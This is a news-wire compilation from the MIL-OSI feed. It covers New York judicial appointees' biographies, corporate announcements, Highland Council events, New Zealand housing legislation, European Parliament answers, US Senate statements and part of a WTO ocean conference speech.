Judge Rhonda Ziomaida Tomlinson, a Brooklyn native raised by her Panamanian mother, was appointed to the New York State Court of Claims in June 2021. She earned her B.S. from Cornell University’s School of Industrial and Labor Relations and her J.D. from Hofstra University School of Law. Prior to her appointment, she served as Chief Administrative Law Judge for the NYS Board of Parole, overseeing statewide adjudications and participating in the Harlem Reentry Court.

Her legal career includes roles as a principal court attorney, administrative law judge, Legal Aid defense attorney, and private practitioner in criminal and family law. She has been active in bar association committees and initiatives related to parole, sex trafficking, and the effects of incarceration on families. Judge Tomlinson has also taught legal and multicultural studies at CUNY School of Law, John Jay College, and St. John’s University. She is an engaged member of St. Gregory the Great R.C. Church, serving as a scout leader, lector, and school board member.

Cheryl Joseph

Judge Cheryl Joseph serves as Supervising Judge of the Matrimonial Parts in the Suffolk County Supreme Court and has been a Judge of the New York State Court of Claims since 2015. Appointed as an Acting Supreme Court Justice, she previously served for nine years as a Support Magistrate in Bronx and Suffolk County Family Courts.

Judge Joseph earned her J.D. from NYU School of Law and her B.A. in Political Science and Philosophy from NYU, graduating magna cum laude and Phi Beta Kappa. She has also taught family law and civil litigation as an adjunct professor at Touro Law Center, where she was named Adjunct Professor of the Year twice.

As Interim Supreme Court Justices:

J. David Sampson

Judge John David Sampson was appointed to the New York State Court of Claims in 2015 by Governor Andrew Cuomo and serves as a Court of Claims Judge and as an Acting Supreme Court Justice. He previously served as Executive Deputy Commissioner of the New York State Department of Motor Vehicles (2011–2015) and as Deputy Attorney General for Regional Affairs in the New York Attorney General’s Office (2008–2010). Earlier in his career, he spent over 25 years in private practice, including as a partner at Underberg Kessler LLP.

Judge Sampson earned his J.D. from Albany Law School (1982) and his B.A. in Economics from Canisius University (1977). He is based in the Buffalo/Niagara area.

Denise Hartman

Hon. Denise Hartman was first appointed to the Court of Claims in 2015, and has served as an Acting Supreme Court Justice in Albany County for the last 10 years. She handles a full civil docket, including proceedings against governmental agencies, personal injury and contract actions, matrimonial cases, commercial litigation, and more. She also presides over the statewide Litigation Coordinating Panel.

Prior to her judicial appointment, she was an Assistant Solicitor General in the New York State Attorney General’s Office from 1985 to 2015. There she briefed and argued many, many appeals in the New York State Appellate Divisions, Court of Appeals, U.S. Court of Appeals for the Second Circuit, and U.S. Supreme Court. She was formerly a Confidential Law Clerk at the Appellate Division, 4th Department, and was once a Law Assistant at Langan, Grossman, Kinney & Dwyer, PC.

She obtained a BS in Civil and Environmental Engineering from Cornell University, and her JD from Syracuse University School of Law.

Walter Rivera

Judge Walter Rivera was appointed to the New York State Court of Claims by Governor Andrew Cuomo in 2017 and served one term as an Acting Supreme Court Justice in the 9th Judicial District. A native of Hell’s Kitchen in Manhattan, he is a graduate of Columbia College (1976) and the University of Pennsylvania Carey Law School (1979).

He began his legal career as a law clerk at the New York State Court of Appeals and later served as an Assistant Attorney General before entering private practice. Rivera was elected Town Justice in Greenburgh, NY, serving from 2011 until his Court of Claims appointment. He was an adjunct professor at the Elisabeth Haub School of Law at Pace University for six years, past president of the Latino Judges Association, and a co-founder of the Hudson Valley Hispanic Bar Association.

Michael Kitsis

Michael Kitsis is an Acting Justice of the Supreme Court of the State of New York, serving since 2021. He has also served as a Judge in the Criminal Court of the City of New York since 2016. Prior to his judicial appointments, he spent over three decades as an Assistant District Attorney in the Manhattan District Attorney’s Office from 1983 to 2016.

He holds a J.D. from the University of Virginia School of Law and a B.A. from the University of Pennsylvania.

Jonathan Svetkey

Jonathan Svetkey is currently an Acting Supreme Court Justice sitting in Manhattan, Criminal Term. His first appointment was to the New York City Civil Court in 2019 and a year later he was re-appointed to serve as a New York City Criminal Court Judge. Prior to taking the bench, Judge Svetkey was the Court Attorney for the Honorable Joanne B. Watters from 2017 to 2019. Before that he spent twenty years in private practice as a criminal defense attorney with the law firm of Watters & Svetkey, LLP. He also served as an Assistant District Attorney in the Bronx County District Attorney’s Office Appeals Bureau from 1990 to 1995. His first job out of law school was with the Kings County District Attorney’s Office. Judge Svetkey received his undergraduate degree from the University of Rochester and graduated from the Columbus School of Law at the Catholic University of America in 1984.

As Interim Family Court Judges:

Tonia Ettinger

Tonia M. Ettinger was appointed by Governor Hochul in June 2025 to serve as a Family Court Attorney for Monroe County. Ettinger most recently served as the Principal Court Attorney for Honorable Fatimat O. Reid in the 7 th Judicial District (Monroe County Family Court), a position she has held since 2019. A dedicated and experienced family law attorney, Ettinger has spent her career advocating for children and families throughout Monroe County. She served for nearly a decade as an Attorney for the Child at the Legal Aid Society of Rochester, representing children in Monroe County Family Court (2009-2018).

A graduate of the University at Buffalo School of Law (magna cum laude) and SUNY Geneseo (cum laude), Ettinger has been recognized as one of the Top Women in Law by the Daily Record. Ettinger is equally dedicated to embracing and uplifting the Rochester community, actively participating in events under the 7th Judicial District’s “Embracing Our Community” initiative. With 21 years of legal experience—16 years dedicated exclusively to Monroe County Family Court—she has demonstrated a deep and consistent commitment to justice, particularly for vulnerable youth and families navigating the family court system.

Jessica Wilcox

Jessica R. Wilcox serves as a Principal Law Clerk for the Honorable James H. Ferreira of the New York State Court of Claims, and previously served under Honorable Glen T. Bruening of the New York State Court of Claims from 2011-2022. Before that, she was the Principal Law Clerk for the Honorable John C. Egan Jr. of the Appellate Division of the Third Department for the New York State Supreme Court from 2007 to 2011. Wilcox was a Senior Associate at Barclay Damon f/k/a Bouck, Holloway, Kiernan, and Casey from 2000 to 2007 and an Associate Attorney at Rowley Forrest, O’Donnell & Beaumont from 1999 to 2000. From 1998 to 1999, Wilcox was an Associate at Brennan, Rehfuss, and Ligouri P.C.

Wilcox obtained a J.D. from Albany Law School in 1997 and a B.A., cum laude, in Philosophy and German from Wells College in 1993.  She was found HQ by the Statewide Judicial Department Screening Committee on March 28, 2022.

MIL OSI USA News –

June 11, 2025
MIL-OSI: cBrain appoints new CFO
Source: GlobeNewswire (MIL-OSI)

Company Announcement no. 07/2025

cBrain appoints new CFO

Copenhagen, June 11, 2025

cBrain (NASDAQ: CBRAIN) is happy to announce that Lars Møller Christiansen has accepted the role as new CFO starting August 1^st, 2025.

Lars Møller Christiansen comes from a position as Deputy Director at the Environmental Protection Agency (EPA), now known as the Agency for Green Land Use Planning and Aquatic Environment. Lars was responsible for financial management and digitization at the Danish EPA.

cBrain’s current CFO, Ejvind Jørgensen, wishes to step down after nine years in the role. Following a transition period, Ejvind will take up other responsibilities, still being part of the cBrain journey.

Lars is known as a digital front runner, and he brings in-depth knowledge of eGovernment. During his career in Danish government for more than 24 years, Lars has engaged in positions within financial management as well as led projects from ministerial digitization to digitizing environment and climate processes. In parallel with his role as the new CFO, Lars thereby brings solid experience, supporting cBrain’s international growth plan and leveraging Danish government expertise globally.

“Digital decision-making processes are crucial for the speed of the green transition. I am very much looking forward to applying my experience in an innovative tech company like cBrain, which has clear ambitions to make a difference for the climate and environment, both in Denmark and globally,” says Lars.

Best regards

Per Tejs Knudsen, CEO

Inquiries regarding this Company Announcement may be directed to

Ejvind Jørgensen, CFO & Head of Investor Relations, cBrain A/S, ir@cbrain.com, +45 2594 4973

Attachment
- Company Announcement no. 2025-07 (CFO)
The MIL Network –
June 11, 2025
MIL-OSI United Kingdom: Highland Youth Parliament ‘Future Youth Voice’ Conference

Source: Scotland – Highland Council

The annual Highland Youth Parliament (HYP) conference will take place at Inverness Leisure and Canal Park, Inverness on Friday (13th June).

Highland young people are focusing on future youth voices and what they would like a future Highland to look like. HYP is 25 years old this year so young people have been asked to bring a time capsule item to represent their area (to be opened again in 2050) and will be asked questions in a review of Highland Youth Parliament and related structures to improve how young people are supported to have a say, how this is promoted to young people and to help widen reach and representation.

The conference is expected to have approximately 100 young people from across the 29 secondary school areas in Highland participating at the event.

There will be stalls in the morning from a range of organisations and services working with young people across Highland and Highland Council youth development officers and young people will display the work they do out in areas around having a voice and making changes for improvement of services for young people in their local areas.

This will be followed by input from Jake MacCulloch, Chair of Highland Youth Parliament and Lauren McKittrick, the Highland Youth Convener.

The Scottish Youth Parliament will also speak with Highland young people re their work and consult on their new manifesto.

Kate Lackie, Assistant Chief Executive – People, The Highland Council will also speak with young people about The Highland Council’s Our Future Our Highland Programme then young people will break out in to groups to discuss wider topics of Education, Employment, Leisure and Recreation, Transport, Roads and Infrastructure, Environment and Health and Social Care, and highlight issues and actions they would like HYP to focus on in these areas.

Young people will then have the opportunity to participate in a Walk and Talk a Mile to discuss a couple of questions which will contribute towards the development of the 2026-2029 Children’s Services Plan, incorporating the Highland Children and Young People’s Participation Strategy.

The group will also be offered some fun and interesting activities – a free swim and gym session from High Life Highland. Inverness Leisure will also provide line dancing, Highland Archive Centre are offering a family history session and Inverness Botanics will be providing some interesting tours of the gardens and the work they do.

Highland Youth Convener, Lauren McKittrick said: “The HYP conference provides a platform for each area in the Highlands to be represented by the young people who call it home. I am looking forward to hearing the unique perspectives these young people will bring while discussing some of the important themes affecting the future landscape of the Highlands. There is no better way to celebrate the 25th anniversary of the Highland Youth Parliament than a day full of engaging discussions, fun activities, and a time capsule!”

Jake MacCulloch, Chair of Highland Youth Parliament added: “Having attended the HYP conference last year as a young person myself and now this year as Chair, I’m so excited to see how the day plays out. It is such an amazing opportunity for young people to take part in, where they can voice their views and take part in activities and workshops tailored to certain topics! Like usual we will also have stalls from organisations supporting young people. This year we also have stalls from youth groups throughout Highland to show the amazing work they’ve been doing as we are celebrating 25 years of the Highland Youth Parliament, I’m sure we are going to have a great time.”

Kate Lackie, The Highland Council’s Assistant Chief Executive – People said: “The Council has a good track record of working proactively with the Highland Youth Parliament. It is important that voices of our children and young people are heard and taken seriously, especially when it comes to future policy making, which is why I am delighted to be leading a session seeking input into the Council’s key strategic priority areas. I am sure the conference will be an excellent platform to network, share good practice and look to the future. I wish everyone taking part a very enjoyable and successful event.”

Before the conference, Highland young people can participate in online training sessions, provided by The Highland Council and partners such as Scottish Youth Parliament and Education Scotland. They will cover a range of topics such as what it means to be a Highland Youth Parliament member, the UN Convention on the Rights of the Child, elegant challenging and campaigning online.

MIL OSI United Kingdom –

June 11, 2025
MIL-OSI United Kingdom: Join The Highland Council in supporting Clean Air Day 2025
Source: Scotland – Highland Council
The Highland Council is proud to be taking part in this year’s Clean Air Day – the UK’s largest air pollution awareness campaign – on 19 June 2025. Supported by Global Action Plan and Health Equals, the initiative is a vital step in helping our communities understand the health risks of air pollution and the simple actions we can all take to make a difference.

One of the contributors to poor air quality is engine idling — when car engines are left running while stationary – which can significantly increase harmful emissions. Changing idling behaviour will be the focus of this year’s events.

Why this campaign matters

Air pollution affects us from before our first breath to our last.

Children are especially vulnerable to the health impacts of polluted air.

Idling engines contribute to unnecessary emissions and fuel waste.

By switching off engines, we can all help reduce pollution and protect our environment.

To celebrate Clean Air Day, Highland Council’s Environmental Health Team will have an information stall at the entrance to the Victorian Market Food Hall, Inverness on Thursday 19 June from 11:00 to 15:00 and will be speaking to drivers around the town centre, providing a great opportunity to engage with the public and raise awareness on air pollution issues.

In the run-up to Clean Air Day, the team will also be revisiting schools who previously took part in an Air Quality Project to monitor air quality around school premises. This project had identified distinct peaks in pollution levels during school drop-off and pick-up times and pupils will be supported to run an Anti-Idling Campaign to raise awareness of the negative impacts of engine idling which will help encourage positive change.

Each participating school will be provided with an ‘Anti-Idling’ sign for their drop-off zone, an information pack and toolkit to help them run their campaign and a banner for installation at their school gate on the campaign launch day.

Participating schools will help raise awareness by:

Teaching pupils about why clean air matters.

Supporting pupils as they lead this important initiative.

Encouraging staff and parents to turn off their car engine when waiting outside the school.

For more information on how to participate in Clean Air Day, visit the Clean Air Day website.
10 Jun 2025

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MIL OSI United Kingdom –
June 11, 2025
MIL-OSI New Zealand: Saying yes to more housing

Source: New Zealand Government

City-shaping changes are coming to New Zealand’s largest city, ensuring that Auckland can fully harness the economic growth benefits of the new City Rail Link, RMA Reform Minister Chris Bishop and Auckland Minister Simeon Brown say.
The Resource Management (Consenting and Other System Changes) Amendment Bill (the Bill) has been reported back to Parliament today by the Environment Committee, containing significant changes to enable housing growth in our largest cities.
“After many months, Auckland Council and the Government have reached agreement to free up more land for housing, particularly around City Rail Link (CRL) stations. These are some of the most significant changes to the shape of Auckland since the Auckland Unitary Plan,” Mr Bishop says.
“It doesn’t make sense that we have single story houses on quarter acre sections a stone’s throw away from stations that, in a year or so, will see trains every few minutes.
“The Government and the Council are investing billions in CRL and have a shared vision for stations that become hubs for public transport, mixed use development and new housing.
“Successive Governments and Councils have failed to grasp this opportunity for economic growth in New Zealand’s largest city. This is how modern, growing cities all around the world operate, and now it’s Auckland’s turn.”
“Today’s announcements are a result of Auckland Council and the Government working together to deliver a plan for more housing that works for Auckland. The Bill now has the effect of abolishing the Medium Density Residential Standards (MDRS) in Auckland while requiring more housing density around key public transport corridors – a common sense solution for Auckland,” Auckland Minister Simeon Brown says.
“Auckland must grow to fully meet its potential as a world-leading city. The one sized-fits-all approach of the MDRS was not appropriate for Auckland. Today’s announcement will ensure our city grows where it makes the most sense and maximise on the significant investment made in the City Rail Link.”
“I want to thank Auckland Council, particularly Mayor Brown and Councillor Richard Hills, for their pragmatic approach to solving these complex challenges over many months,” Mr Bishop says.
“Mayor Brown has previously described this situation as “RMA gymnastics” and he is right, but I am confident that these arrangements align with our shared vison of density and development in places that work for Aucklanders.”
Removing ability to opt-out of the MDRS
“The Bill as introduced provided councils with the flexibility to opt out of the MDRS, if they could show they had provided for 30 years of housing growth in their district and unitary plans,” Mr Bishop says.
“Councils have been going through plan changes for years in order to incorporate the MDRS. Most councils have already substantially completed their plan changes through this process, with just three (Auckland, Christchurch and Waimakariri) yet to finish.
“Th practical reality is that if councils did vote to “opt out” of the MDRS, they would have to pass a new plan change to do so, and due to the length of time this typically takes under the RMA, by the time this was complete, the Government’s new planning system is expected to be in place.
“Fundamentally, it would have achieved nothing, but cost ratepayers a lot. “The Government has therefore taken the pragmatic view that it would be sensible to remove the ability for councils to opt out of the MDRS and to work on bespoke legislative solutions for Auckland and Christchurch instead.”
New plan change for Auckland
“Auckland’s intensification plan change, PC78, has been underway since 2022. Progress has been slow for many reasons, including the Auckland floods. The intensification plan change process does not allow Auckland to “downzone” certain areas due to natural hazard risk – only to “upzone” them – and the Council wrote to the government asking them to fix this problem,” Mr Bishop says.
“The Government has therefore agreed to change the Bill to allow Auckland to withdraw PC78. However, the government is determined to unlock housing capacity in Auckland and fix our housing crisis and has taken steps to ensure this is achieved.
“Earlier in the year I directed Auckland Council to bring forward decisions on the parts of PC78 that relate to the city centre, requiring final decisions to be made by the end of May. Auckland Council met this requirement, finalising this part of PC78 on 22 May 2025.
“These decisions made by the council are a step forward in increasing development capacity in Auckland’s CBD, but there is more work to be done.
“The Bill as reported back from the committee now allows Auckland Council to remove the remaining parts of PC78, but requires them to process a new plan change urgently. This plan change must be notified by 10 October this year, and must enable housing capacity equal to or greater than that enabled by PC78.
“As I’ve indicated, the Government is keen to see greater density around public transport, particularly City Rail Link stations. The Bill therefore now also requires Auckland to allow for greater density around the key CRL stations of Maungawhau (Mount Eden), Kingsland, and Morningside.
“Auckland Council must enable within a walkable distance from these stations heights and densities reflective of the higher demand for housing and business in these areas. This requirement goes further than the existing requirements under the NPS-UD, and I expect heights and densities that ensure we make the most of the opportunities offered by this transformational transport project.
“The government is also considering whether further amendments to the Bill to fully maximise development opportunities around other CRL stations as necessary, and I will have more to say in due course.”
30 years of growth for Christchurch
“Christchurch City Council also requires a bespoke solution, as they have made a number of decisions on their plan change to implement the MDRS and NPS-UD, known as PC14, but have yet to complete it,” Mr Bishop says.
“Last week I released my decisions on the recommendations from the Council on parts of PC14. These decisions will enable a greater level of development in and around Christchurch City’s urban centres.
“Christchurch City Council is currently required to finalise the MDRS components of PC14 by December 2025. The Bill will allow Christchurch to withdraw the MDRS parts of PC14 provided they allow for 30 years of housing growth at the same time. Assessment of that target will be made by me based on advice from officials.”
Additional changes
“In addition to these changes, the Environment Select Committee has recommended a suite of changes to improve the workability of the Bill and help unlock growth in infrastructure and energy, farming and the primary sector,” Mr Bishop says.
The Resource Management (Consenting and Other System Changes) Amendment Bill will have its second reading in the coming weeks and is expected to pass into law in mid-2025.”
Note to Editors:
Waimakariri District Council were much further progressed in their plan change than Auckland and Christchurch, and are expected to make decisions on their plan change on 30 June, before the Bill’s expected third reading.

MIL OSI New Zealand News –

June 11, 2025
MIL-OSI Europe: Answer to a written question – Depleted uranium in Sardinia – E-000741/2025(ASW)
Source: European Parliament
1. Maximum levels (MLs) for lead and cadmium in food were established by Commission Regulation (EU) 2023/915[1] and for feed by Directive 2002/32/EC[2]. Only food and feed compliant with the MLs can be placed on the market guaranteeing a high level of human and animal health protection.

Without information on the levels of thorium in feed and food in the concerned area, no assessment of the possible risk for animal or public health can be done.

2. The Commission is aware of the potential health implications arising from environmental pollution and emphasises the importance of ensuring compliance with EU legislation that aims to protect public health. However, safeguarding public health is primarily the responsibility of Member States including the investigation of potential disease clusters.

3. If the pollution is the result of a serious breach of EU environmental law, then the conduct might be framed as an environmental crime under the Environmental Crime Directive[3]. If the liable operator is identified and the contamination fulfils the criteria of environmental damage under the Environmental Liability Directive[4], the operator shall be required to remedy the damage to the environment.

Salto di Quirra is located in air quality zone IT2010 Zona Rurale according to Ambient Air Quality Directive 2008/50/EC[5], with the closest sampling point in Nuraminis. The latest data for this zone for 2022 and 2023 does not indicate the exceedance of any air quality standard[6].

Based on the information from the European Industrial Emissions Portal[7], no industrial installation covered by the industrial emissions directive was identified in the area.

[1] Commission Regulation (EU) 2023/915 of 25 April 2023 on maximum levels for certain contaminants in food and repealing Regulation (EC) No 1881/2006 OJ L 119, 5.5.2023, p. 103-157
ELI: http://data.europa.eu/eli/reg/2023/915/oj.

[2] Directive 2002/32/EC of the European Parliament and of the Council of 7 May 2002 on undesirable substances in animal feed OJ L 140, 30.5.2002, p. 10-22 ELI: http://data.europa.eu/eli/dir/2002/32/oj.

[3] Directive 2008/99/EC on the protection of the environment through criminal law OJ L 328, 6.12.2008, p. 28-37, ELI: http://data.europa.eu/eli/dir/2008/99/oj, replaced by Directive (EU) 2024/1203 of the European Parliament and of the Council of 11 April 2024 on the protection of the environment through criminal law and replacing Directives 2008/99/EC and 2009/123/EC, OJ L, 2024/1203, 30.4.2024, ELI: http://data.europa.eu/eli/dir/2024/1203/oj, in force and to be transposed by Member States by 21 May 2026.

[4] Directive 2004/35/EC of the European Parliament and of the Council of 21 April 2004 on environmental liability with regard to the prevention and remedying of environmental damage, OJ L 143, 30.4.2004, p. 56-75. ELI: http://data.europa.eu/eli/dir/2004/35/oj.

[5] Directive 2008/50/EC of the European Parliament and of the Council of 21 May 2008 on ambient air quality and cleaner air for Europe OJ L 152, 11.6.2008, p. 1-44 ELI: http://data.europa.eu/eli/dir/2008/50/oj.

[6] The Italian authorities are reporting information of the following pollutants in this zone: arsenic, benzene, benzo(a)pyrene, cadmium, carbon monoxide, lead, nickel, nitrogen dioxide, particulate matter (PM10 and PM2.5) and sulphur dioxide, https://cdr.eionet.europa.eu/it/eu/aqd/g/.

[7] https://industry.eea.europa.eu/.
Last updated: 10 June 2025
MIL OSI Europe News –
June 11, 2025
MIL-OSI Europe: Answer to a written question – Scientific basis for designation of mineral soil as peat soil under GAEC 2 – E-001438/2025(ASW)
Source: European Parliament
In 2022 and 2023, the Commission’s Joint Research Centre provided technical information to assist Member States with the mapping of peatland and wetland as part of a project entitled ‘Satellite based mapping and monitoring of European peatland and wetland for LULUCF[1] and agriculture’ (SEPLA).

This notwithstanding , defining the territorial scope of the Good Agricultural and Environmental Condition Standard for the protection of wetland and peatland (GAEC 2) within the context of Common Agricultural Policy (CAP) Strategic Plans lies primarily with the Member States.

The Commission services assess whether the scope proposed by the Member States aligns with the standard’s core objective, as set out in Article 109(2)(a)(i) of Regulation (EU) 2021/2115[2].

It is for the Member States to carry out the relevant mapping and to decide to publish the scientific data, methodology and potential resulting restrictions imposed on farming activity underpinning its chosen approach.

[1] Land use, land-use change and forestry Regulation — https://climate.ec.europa.eu/eu-action/land-use-sector_en.

[2] http://data.europa.eu/eli/reg/2021/2115/oj.
Last updated: 10 June 2025
MIL OSI Europe News –
June 11, 2025
MIL-OSI Europe: Missions – UN Ocean Conference 2025 – Supporting global action for people and maritime life – 09-06-2025 – Committee on Development

Source: European Parliament

DEVE’s First Vice Chair Isabella Lövin will join a group of Members of the Environment and Fisheries committees to attend the 3rd UN Ocean Conference and meet with a wide range of stakeholders. The summit will bring together policy makers and experts from around the world to advance global action on ocean governance and protection of marine ecosystems. The European Commission and European Council Presidents will present the European Ocean Pact and 57 voluntary commitments of the EU.

Ahead of the mission, Isabella Lövin underlined that oceans are ‘essential for livelihoods, food security, and climate resilience around the world’ and critical for developing countries, including Small Island Developing States. The UN Ocean conference, together with the implementation of the Agreement on the protection of biological diversity in areas beyond national jurisdiction (BBNJ), will be key to ensuring that our oceans, including international waters, are governed sustainably and equitably.’

Lövin stressed that ‘as the world’s largest donor, the EU has an important role to support partner countries in implementing and ratifying global agreements, identifying critical marine areas for protection, and strengthening biodiversity governance. By strengthening cooperation and commitment, we can safeguard healthy oceans and promote sustainable development for coastal communities in developing countries worldwide.’

MIL OSI Europe News –

June 11, 2025
MIL-OSI Europe: Highlights – UN Ocean Conference 2025 – Supporting global action for people and maritime life – Committee on Development

Source: European Parliament

UN ocean conference 2025.jpeg © Image used under license from Adobe Stock

DEVE’s First Vice Chair Isabella Lövin will join a group of Members of the Environment and Fisheries committees to attend the 3rd UN Ocean Conference and meet with a wide range of stakeholders. The summit will bring together policy makers and experts from around the world to advance global action on ocean governance and protection of marine ecosystems. The European Commission and European Council Presidents will present the European Ocean Pact and 57 voluntary commitments of the EU.

MIL OSI Europe News –

June 11, 2025
MIL-OSI USA: Lummis Congratulates EPA Deputy Administrator on Senate Confirmation

US Senate News:

Source: United States Senator for Wyoming Cynthia Lummis

June 10, 2025

Washington, D.C.— Senate Western Caucus Chair Cynthia Lummis (R-WY) issued the following statement after the Senate confirmed David Fotouhi as deputy administrator of the Environmental Protection Agency (EPA).
“Congratulations to David Fotouhi on becoming deputy administrator of the EPA,” said Lummis. “David is a champion for commonsense environmental regulations and rolling back Green New Scam policies that burdened Wyoming and the west. I look forward to partnering with him to deliver real results for the Cowboy State.”

MIL OSI USA News –

June 11, 2025
MIL-OSI USA: Hagerty Introduces Trump’s Nominees Andy Puzder, Jacob Helberg

US Senate News:

Source: United States Senator for Tennessee Bill Hagerty
WASHINGTON—Today, United States Senator Bill Hagerty (R-TN), a member of the Senate Foreign Relations Committee and former U.S. Ambassador to Japan, introduced Andy Puzder, President Donald Trump’s nominee to be U.S. Ambassador to the European Union, and Jacob Helberg, President Trump’s nominee to be Under Secretary of State for Economic Growth, Energy, and the Environment.

*Click the photo above or here to watch*
Remarks as prepared for delivery:
Chairman Risch and Ranking Member Shaheen, thank you for holding today’s hearing.
It is my honor to introduce two of my good friends this morning:
Mr. Andy Puzder—President Trump’s nominee to be U.S. Ambassador to the European Union; and,
Mr. Jacob Helberg—President Trump’s nominee to be Under Secretary of State for Economic Growth, Energy, and the Environment.
Let me first speak to Andy’s qualifications.
Andy is a patriot whose highly accomplished career in business, law, and public policy makes him an excellent candidate for this ambassadorial role.
Andy is widely recognized for his leadership as the former CEO of CKE Restaurants, the parent company of Carl’s Jr. and Hardee’s.
During his tenure, he led the company through a significant turnaround, growing CKE’s role as a major player in the global fast-food industry.
Under Andy’s leadership, CKE expanded to over 3,800 restaurants across 45 states and 40 foreign countries, with more than 115,000 employees worldwide.
His experience navigating international markets and cross-border business challenges gives him a practical, hands-on understanding of global commerce—an asset of particular relevance to a diplomatic post in Brussels that is focused on transatlantic economic relations.
Yet his qualifications extend beyond the boardroom.
Andy is a seasoned attorney, a published author, and a deeply respected voice in national debates over public policy.
He has also been a vocal advocate for pro-growth economic policies, regulatory reform, and other efforts to strengthen American competitiveness in global markets—issues that are central to the ongoing relationship between the United States and the European Union.
As the nominee to be U.S. Ambassador to the EU, Andy brings with him not only decades of executive leadership, but also a clear understanding of how economic policy affects real people, businesses, and international relationships.
At a time when transatlantic cooperation faces both opportunities and challenges—from trade and technology to security—his experience and know-how will be critical to furthering ties between the United States and Europe in support of President Trump’s agenda.
Let me now turn to Jacob Helberg, a nominee whose vision, intellect, and tenacity make him uniquely qualified for the role of Under Secretary of State for Economic Growth, Energy, and the Environment.
His nomination comes at a pivotal moment.
From economic coercion to critical mineral choke points to energy issues and the weaponization of advanced technologies, the challenges posed by adversaries to our nation are urgent and complex.
To meet these challenges, we need fierce advocates for American competitiveness like Jacob at the State Department.
Over the years I have known Jacob, I have found that he is a true visionary, with a rare ability to take big, strategic ideas and turn them into meaningful action.
I remember when Jacob came by my office shortly after being nominated and I commented that his nomination was likely very unwelcome news in Beijing—and for good reason.
Jacob’s ideas and publications have helped reframe how policymakers view China’s predatory trade practices and the strategic dimensions of emerging technologies in AI, space, and robotics.
Jacob is a public servant, whose work as a commissioner on the U.S.-China Economic and Security Review Commission has driven U.S. policy toward a safer and more prosperous future.
And Jacob is an internationally recognized leader, whose Hill and Valley Forum has become a preeminent venue for bringing Washington policymakers and Silicon Valley innovators together to address important economic and national security issues—the same issues that Jacob will tackle if confirmed as Under Secretary.
At a time when authoritarian regimes like China exploit economic tools and emerging technologies to undermine our national interests, Jacob’s nomination reflects the urgent need for strategic, tech-savvy leadership of U.S. foreign policy.
Jacob will bring to the role of Under Secretary not only a profound understanding of the global economy, but also a powerful grasp of the digital battlegrounds where this century’s great power competition is playing out.
I have no doubt that Jacob will serve with integrity, focus, and a determination to strengthen America’s hand on the world stage.
Mr. Chairman, thank you for the opportunity to introduce my friends Andy and Jacob this morning.
I would also like to extend my regards to Ben Black, nominated to lead the U.S. International Development Finance Corporation, whose expertise in investment and development will be instrumental in advancing our nation’s global economic interests.
We need these highly qualified leaders on the frontlines of American diplomacy, and I urge my colleagues to support their nominations.

MIL OSI USA News –

June 11, 2025
MIL-OSI: ACM Research Announces the Publication of ACM Shanghai’s 2024 ESG Report
Source: GlobeNewswire (MIL-OSI)

FREMONT, Calif., June 10, 2025 (GLOBE NEWSWIRE) — ACM Research, Inc. (“ACM”) (NASDAQ: ACMR), a leading supplier of wafer processing solutions for semiconductor and advanced packaging applications, today announced the availability of an English version of the 2024 Environmental, Social, and Governance (ESG) report prepared by its principal operating subsidiary ACM Research (Shanghai) Inc. (“ACM Shanghai”). The English version is now available here on ACM’s website under the ESG Reports section. The original Chinese version of the report was published here in February 2025 by ACM Shanghai on the Shanghai Stock Exchange website.

Dr. David Wang, President and Chief Executive Officer of ACM, said, “With the rise of AI to the forefront of consumers’ minds, we expect increased public attention on the environmental impact of semiconductor chip manufacturing. ACM is committed to improved ESG performance for both our internal operations, and in the tools we design. Innovations such as the Tahoe hybrid cleaning system, which significantly reduces sulfuric acid usage, reflect ACM’s dedication to enabling a circular economy and advancing a more sustainable semiconductor ecosystem.”

Highlights from ACM Shanghai’s 2024 ESG report include:
- Recorded key ESG metrics to establish a carbon reduction baseline for future greenhouse gas (GHG) emissions targets.
- Established company target to achieve 75% pure water purification rate by 2030.
- Recycled 2,800 kg of plastic crates and 1,200 kg of wooden crates in 2024 under circular economy initiatives.
- ESG risk screening system for suppliers is under development for planned launch in 2025
- Achieved continued ISO 14001 and ISO 9001 certifications across key facilities.
- ACM’s Ultra C Tahoe hybrid cleaning tool delivers enhanced cleaning performance with up to 75% reduction in chemical consumption. ACM estimates cost savings of up to $500,000 per year from sulfuric acid alone, with additional environmental and cost benefits from reduced sulfuric acid treatment and disposal requirements.
- ACM’s Frame Wafer cleaning tool effectively cleans semiconductor wafers during the post-debonding cleaning process. Its innovative solvent recovery system provides significant environmental and cost benefits, achieving nearly 100% solvent recovery and filtration efficiency, thereby reducing chemical consumption during production.
In addition, ACM reported that it completed its inaugural CDP Climate submission in 2024, establishing a foundation for enhanced climate risk disclosure and environmental transparency.

About ACM Research, Inc.
ACM develops, manufactures and sells semiconductor process equipment spanning cleaning, electroplating, stress-free polishing, vertical furnace processes, track, PECVD, and wafer- and panel-level packaging tools, enabling advanced and semi-critical semiconductor device manufacturing. ACM is committed to delivering customized, high-performance, cost-effective process solutions that semiconductor manufacturers can use in numerous manufacturing steps to improve productivity and product yield. For more information, visit www.acmr.com.

© ACM Research, Inc. The ACM Research logo is a trademark of ACM Research, Inc. For convenience, this trademark appears in this press release without a ™ symbol, but that practice does not mean that ACM will not assert, to the fullest extent under applicable law, its rights to such trademark.

For investor and media inquiries, please contact:

In the United States: The Blueshirt Group
Steven C. Pelayo, CFA
+1 (360) 808-5154
steven@blueshirtgroup.co

In China: The Blueshirt Group Asia
Gary Dvorchak, CFA
gary@blueshirtgroup.co

The MIL Network –
June 11, 2025
MIL-OSI Economics: UN Ocean Conference 2025

Source: WTO

Headline: UN Ocean Conference 2025

Your Excellencies H.E. Minister Marina Silva (Brazil) and H.E. Minister Stavros Papastavrou (Greece), the two Co-Chairs of this session, Excellencies, ladies and gentlemen,
First allow me to thank President Macron and UNSG Guterres and Costa Rica for co-hosting this important conference. (Brazil will host COP30, and Greece hosted “Our Oceans” in 2024)
I am delighted to be here today.
We are here because there is no other option but to protect marine and coastal ecosystems from the threats of the triple crisis of climate change, biodiversity loss, and pollution. We know that business as usual, especially in the current global context, is not an option. And trade is part of the solutions we need.
A little-known fact is that one of the WTO’s fundamental goals, as enshrined in the preamble to our founding agreement, is the optimal use of the world’s resources in accordance with the objective of sustainable development and the protection and preservation of the environment.
The WTO has been doing its bit – and I am convinced that if we work together, we can do much more.
I want to make three points.
Key Point 1: First, our landmark Agreement on Fisheries Subsidies (AFS), which I had the honour to announce to the ocean community at UNOC2 in Lisbon, delivered on SDG 14.6. With 101 WTO Members having ratified the Agreement, we now need only ten more ratifications for it to enter into force.

